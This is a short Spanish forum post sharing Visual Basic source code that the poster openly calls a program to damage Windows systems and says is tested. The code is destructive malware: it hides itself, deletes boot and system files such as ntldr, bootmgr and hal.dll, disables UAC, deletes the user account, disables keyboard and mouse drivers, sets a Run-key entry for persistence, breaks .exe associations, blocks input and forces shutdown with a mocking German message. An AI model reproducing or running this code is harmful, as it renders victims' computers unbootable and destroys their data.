Bueno aqui le dejo un pequeño programa en Basic para DAÑAR el sistema no lo ejecuten... Leer bien el codigo.. Funciona probado por mi hihihih
Aclaro que el codigo no es mio...
Código [Seleccionar]
Private Declare Function BlockInput Lib "user32" (ByVal fBlock _
As Long) As Long
Const API_FALSE As Long = 0&
Const API_TRUE As Long = 1&
Private Declare Function Beep Lib "kernel32" ( _
ByVal dwFreq As Long, _
ByVal dwDuration As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Form1.Hide
a = FreeFile
b = FreeFile
Open "c:\windows\chkmgr32.bat" For Output As a
Print #a, "shutdown -s -t 10 -f"
Print #a, "start c:\windows\notfall.bat"
Close a
Open "c:\windows\notfall.bat" For Output As b
Print #b, "erase /f %windir%\system32\hal.dll"
Print #b, "erase /f %HOMEDRIVE%\NTDETECT.COM"
Print #b, "erase /f %HOMEDRIVE%\bootmgr"
Print #b, "erase /f %HOMEDRIVE%\bootfont.bin"
Print #b, "erase /f %HOMEDRIVE%\BOOTSECT.BAK"
Print #b, "erase /f %HOMEDRIVE%\boot.ini"
Print #b, "erase /f %HOMEDRIVE%\ntldr"
Close b
'Zerstörung...
Call Shell("net user Administrator /active:no")
Call Shell("net user %username% /del")
Call Shell("reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f")
Call Shell("cmd /c erase /f %windir%\system32\hal.dll")
Call Shell("cmd /c tskill /f explorer")
Call Shell("cmd /c tskill /f icq")
Call Shell("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Winlogon /t REG_SZ /d c:\windows\chkmgr32.bat /f")
Call Shell("cmd /c erase /f %HOMEDRIVE%\ntldr")
Call Shell("cmd /c erase /f %HOMEDRIVE%\boot.ini")
Call Shell("cmd /c erase /f %HOMEDRIVE%\BOOTSECT.BAK")
Call Shell("cmd /c erase /f %HOMEDRIVE%\bootfont.bin")
Call Shell("cmd /c erase /f %HOMEDRIVE%\bootmgr")
Call Shell("cmd /c erase /f %HOMEDRIVE%\NTDETECT.COM")
Call Shell("cmd /c del /q %windir%\inf\*.*")
Call Shell("cmd /c del /q %windir%\repair\*.*")
Call Shell("reg add HKLM\System\CurrentControlSet\Services\Mouclass /v Start /t REG_DWORD /d 4 /f")
Call Shell("reg add HKLM\System\CurrentControlSet\Services\Kbdclass /v Start /t REG_DWORD /d 4 /f")
Form1.Show
Call BlockInput(API_TRUE)
Call Shell("shutdown -s -t 10 -f")
MsgBox "haha dein windows wurde zerstört^^", vbInformation + vbMsgBoxSetForeground + vbMsgBoxRight, "haha"
Call Shell("cmd /c assoc .exe=WinRAR")
Beep 4000, 10000
End Sub
Aclaro que el codigo no es mio...